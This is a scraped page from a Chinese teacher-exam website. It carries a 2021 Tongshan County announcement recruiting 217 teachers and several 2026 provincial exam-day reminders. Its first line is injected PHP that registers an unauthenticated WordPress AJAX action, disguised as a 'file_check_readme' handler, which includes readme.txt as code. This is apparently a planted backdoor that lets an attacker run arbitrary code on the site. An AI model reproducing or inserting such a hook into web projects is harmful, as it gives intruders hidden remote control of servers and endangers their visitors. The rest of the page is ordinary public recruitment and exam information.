if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖北咸宁通山县2021上公开招聘教师217人公告-全国教师资格考试网

湖北咸宁通山县2021上公开招聘教师217人公告

  根据《事业单位人事管理条例》(国务院令第652号)、《事业单位公开招聘人员暂行规定》(人事部令第6号)、《中共湖北省委  湖北省人民政府关于全面深化新时代教师队伍建设改革的实施意见》(鄂发〔2018〕23号)等文件精神,结合我县实际工作需要,通山县教育局面向社会公开招聘教·师217名(含高层次紧缺专业人才引进17人)。为确保招聘工作顺利完成,制定本公告。

  一、招聘原则

  (一)坚持按需设岗、按岗招聘的原则;

  (二)坚持德才兼备、任人唯贤的原则;

  (三)坚持公开、平等、竞争、择优的原则。

  二、招聘对象及条件

  (一)应聘人员应当同时具备以下条件:

  1.具有中华人民共和国国籍;

  2.遵纪守法,品行端正;

  3.具备岗位所需要专业知识和业务能力;

  4.适应岗位要求的身体条件;

  5.具备岗位表所必需的其他条件。

  (二)有以下情形之一的不得参加公开招聘考试:

  1.涉嫌违法违纪正在接受审查的人员和尚未解除党纪、政纪处分的人员;

  2.曾被开除公职或学籍的,曾被机关事业单位除名(辞退)或自动离职等处理的;

  3.法律法规规定的其他情形;

  4.通山县在编教师。

  三、招聘岗位

  本次招聘计划共217个,其中,高层次紧缺专业人才引进计划17个,公开招聘计划200个。

  高层次紧缺专业人才引进岗位详见附件1《2021年通山县高层次紧缺专业人才引进岗位表》。

  公开招聘岗位详见附件2《2021年通山县中小学、幼儿园教师公开招聘岗位表》。

  四、招聘程序

  (一)报名和资格初审

  1.报名时间:2021年5月22日至2021年5月26日,上午8:30-12:00,下午3:00-18:00。

  2.报名方式:现场报名。

  3.报名地址:通山县教育局附楼一楼大厅(沿河边)。

  4.报名要求(以下材料请一次性提交,资料不齐者按无效报名处理,报考材料考生本人或他人代为提交均可):

  (1)应聘人员填写附件3《通山县事业单位公开招聘工作人员报名表》,每名考生只能选择一个应聘岗位,请考生仔细阅读《公告》、《岗位表》等内容,熟悉相关要求,对需要填写的每一项内容认真如实填报。如考生报名资格实际条件不符合岗位要求、填写信息错误或弄虚作假,在面试前资格复审时将取消面试资格,由此产生的后果由考生本人负责。

  (2)应聘者报名时须提供以下证明材料:

  ①毕业证书、学位证书、教师资格证(教师资格考试合格证明或笔试成绩)原件及复印件和《教育部学历证书电子注册备案表》(学信网http://www.chsi.com.cn上查询打印);其中属2021年普通全日制应届毕业生暂未取得学历、学位证书的,应提供所在高校出具的可获得相应学历学位证明;

受疫情影响,暂未取得教师资格证书的人员,可持在有效期内的中小学教师资格考试合格证明或笔试合格成绩(即“中小学教师资格考试NTCE成绩”,幼儿园、小学、中职教师资格为两科笔试成绩,初中、高中教师资格为三科笔试成绩)报名应聘。

  ②有效《居民身份证》原件及复印件;

  ③证明报名职位所需条件的相关材料;

  ④本人近期免冠1寸彩色照片2张;

  报名工作由县教育局人事股负责组织,用人单位积极配合。报名完毕后县教育局组织专班对报考人员报考资料进行资格初审。根据有关规定,报考人员每人收取笔试费50元。

  报名年龄按岗位表要求的年龄截止时间为2021年6月1日(如某岗位年龄要求为35周岁及以下,则报考该岗位考生的出生年月日应为1985年6月1日及以后出生,其他依此类推)。

  资格审查贯穿招聘全过程,应聘人员弄虚作假或违规违纪的,一经发现,取消考试或聘用资格。

  (二)笔试

  本次招聘小学、初中体育、音乐、美术岗位免笔试;高层次紧缺专业人才引进岗位除通山一中数学、物理岗位外其它岗位免笔试;其它岗位笔试拟定在6月12日进行,笔试具体时间、地址详见笔试准考证。笔试内容为综合知识、教育教学理论和学科专业知识,合计总分为100分。其中综合知识、教育教学理论占30%,学科专业知识占70%。本次招聘考试不指定辅导用书,也不委托任何机构举办考试辅导培训班。

  笔试结束5个工作日内,通山县教育局在通山教育公众号发布考生笔试成绩,由考生自主查询本人成绩。如对笔试成绩有疑问,在公布成绩后3个工作日内向通山县教育局人事股实名反映,逾期不再受理。

  (三)加分政策

  1.根据国家和我省关于引导和鼓励高校毕业生到基层工作的政策要求,对服务期满2年且考核合格(称职)的“三支一扶”计划、大学生村官(大学生村官须仍在岗)、大学生志愿服务西部计划项目(简称“三项目”)人员实行加分政策,在折合成百分制的笔试成绩上增加5分。服务时间计算截止2021年7月31日。在军队服役5年(含)以上的高校毕业生退役士兵,享受同等加分政策。因个别县、市组织安排“三项目”人员报到时间在7月之后,当年同批次、无其他特殊情况的可视为服务期满。

  2.上述人员中已招录(聘)为公务员或事业单位工作人员的,不再享受此政策。

  3.符合享受政策的上述人员须主动下载填写《2021年通山县事业单位公开招聘享受政策审核表》(附件4,以下简称《审核表》),及时向县级主管部门提供审核材料。“三支一扶”人员经县人社局“三支一扶”办公室审核确认,大学生村官经县委组织部审核确认,大学生志愿服务西部计划项目人员经团县委审核确认,高校毕业生退役士兵经县退役军人事务局审核确认。

  4.报考本次公开招聘免笔试岗位的“三项目”人员和高校毕业生退役士兵不享受以上加分政策。

  (四)资格复查

  根据笔试成绩排名按1:3比例确定面试人员进行资格复审,(因教育教学需要,面试入围人选不足1:3的,可不核减岗位,通过划定面试成绩合格线,经考核后决定是否录用)。资格复审时考生提供身份证原件;按岗位表要求提供相应的原件和其他相关资料;在机关、企事业单位工作,单位同意报考的书面证明(加盖公章)等。

  资格复审时有弃权考试的考生需本人确认并出具书面声明。如考生在外地提供书面材料有困难的,可以通过传真或扫描件发送证明材料到招聘单位。对不符合岗位要求的人员取消面试资格,所缺人数按笔试成绩排名依次递补。资格复审合格人员每人收取面试费50元。

  资格复审时间、地点由教育局在通山教育公众号发布公告。

  (五)面试

  中小学教师岗位面试重在测试教育教学能力,考察考生的专业素质、课堂教学能力、语言组织能力,以说课形式进行面试,说课时间7分钟。体育、音乐、美术、舞蹈和幼师岗位以说课和技能展示形式进行面试,面试时间共20分钟。

  面试具体时间、地点、形式等由县教育局在通山教育公众号公告,请考生留意网络信息。

  (六)总成绩计算

  免笔试岗位总成绩即为考生面试成绩。

  其它岗位笔试与面试均按百分制量化。总成绩按以下公式计算:

  总成绩=笔试成绩×40%+面试成绩×60%。

  如出现总成绩并列的情形,按以下优先顺序进入体检、考核。

  1.2021年应届高校毕业生优先;

  2.学历高优先;

  3.面试成绩高的优先。

  (七)体检与考核

  体检由用人单位和用人单位主管部门负责参照《关于进一步做好公务员考试录用体检工作的通知》(人社部发〔2012〕65号)、《关于修订〈公务员录用体检通用标准(试行)〉及〈公务员录用体检操作手册(试行)〉有关内容的通知》(人社部发〔2016〕140号)等规定组织实施,体检考察有关要求在通山教育公众号发布。

  体检费用由应聘者个人承担。

  考核前对考生进行资格复审,考核内容主要包括:思想政治素质、遵纪守法、道德品行、廉洁自律、工作能力、态度、实绩等方面情况,同时对考生参加国家法定考试的诚信记录、银行个人征信记录、法院被执行人信息记录和践行社会主义核心价值观的情况进行延伸考核,考核情况作为决定拟聘用的重要依据。

  体检与考核中如有放弃或不合格者,经主管单位和用人单位商定同意,可以按总成绩排名依次递补。 

  (八)公示和聘用

  体检、考核合格人员在通山政务网站和通山教育公众号进行公示,公示时间不少于7个工作日。公示期内无异议的人员,由县人社部门制发聘用文件,按事业单位有关规定办理聘用、工资手续。

  (九)选岗及聘期

  小学、初中岗位实行选岗,具体岗位在选岗前三天公布,拟聘用人员分学段分学科按考试总成绩由高到低依次选岗的办法进行选岗,其它岗位按考生所报考岗位定岗。与用人单位签订聘用合同,首个聘期为五年。

  (十)相关待遇

  1.公开招聘岗位按国家事业单位有关规定享受相应工资福利待遇。

  2.高层次紧缺专业人才引进岗位政策待遇

  (1)经济待遇。工资待遇按国家机关事业单位工资标准确定,试用期内工资按转正工资标准执行。给予引进人才发放一定的生活补贴,按照博士每人每月3000元、硕士和副高职称专业人才每人每月1500元、国家“双一流”建设重点高校本科生每人每月1000元的标准连续发放3年。

  (2)服务保障。在引进人才配偶工作、社会保障、户口等方面,在政策范围内由用人单位优先照顾,其中博士生的配偶愿意到通山工作的,由县委统一安排。在通山暂时没有自住房的,可按规定申请政策性保障住房,或由用人单位给予一定租房补贴。

  (3)发放安家费。由县财政给予引进的博士研究生发放一次性安家费5万元,硕士研究生和副高职称人才3万元。

  (4)发放购房补贴。引进人才在通山县购买首套自住商品房并办理入户手续的,博士研究生由县财政分三年发放20万元购房补贴,硕士研究生、具有副高职称人才分三年发放6万元购房补贴。

  (5)服务期限。引进人才在本县最低服务期为5年(经组织调动的除外),实行1年试用期,服务期内离开或考核不合格者,相应待遇取消。在服务期内,考取全日制硕士、博士研究生和省级以上国家机关公务员的签约毕业生,由本人自行决定去留,不视为违约。

  五、其他

  本公告由县委人才办、县人社局、县教育局负责解释。

  监督电话:县人社局0715-2880078   

  县教育局0715-2298629

  附件:湖北咸宁通山县2021上公开招聘教师217人公告点此下载附件.rar

  1、2021年通山县高中高层次紧缺专业人才引进岗位表

  2、2021年通山县中小学、幼儿园教师公开招聘岗位表

  3、通山县事业单位公开招聘工作人员报名表

  4、2021年通山县事业单位公开招聘享受政策审核表

中共通山县委人才办    通山县人社局    通山县教育局

2021年5月17日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部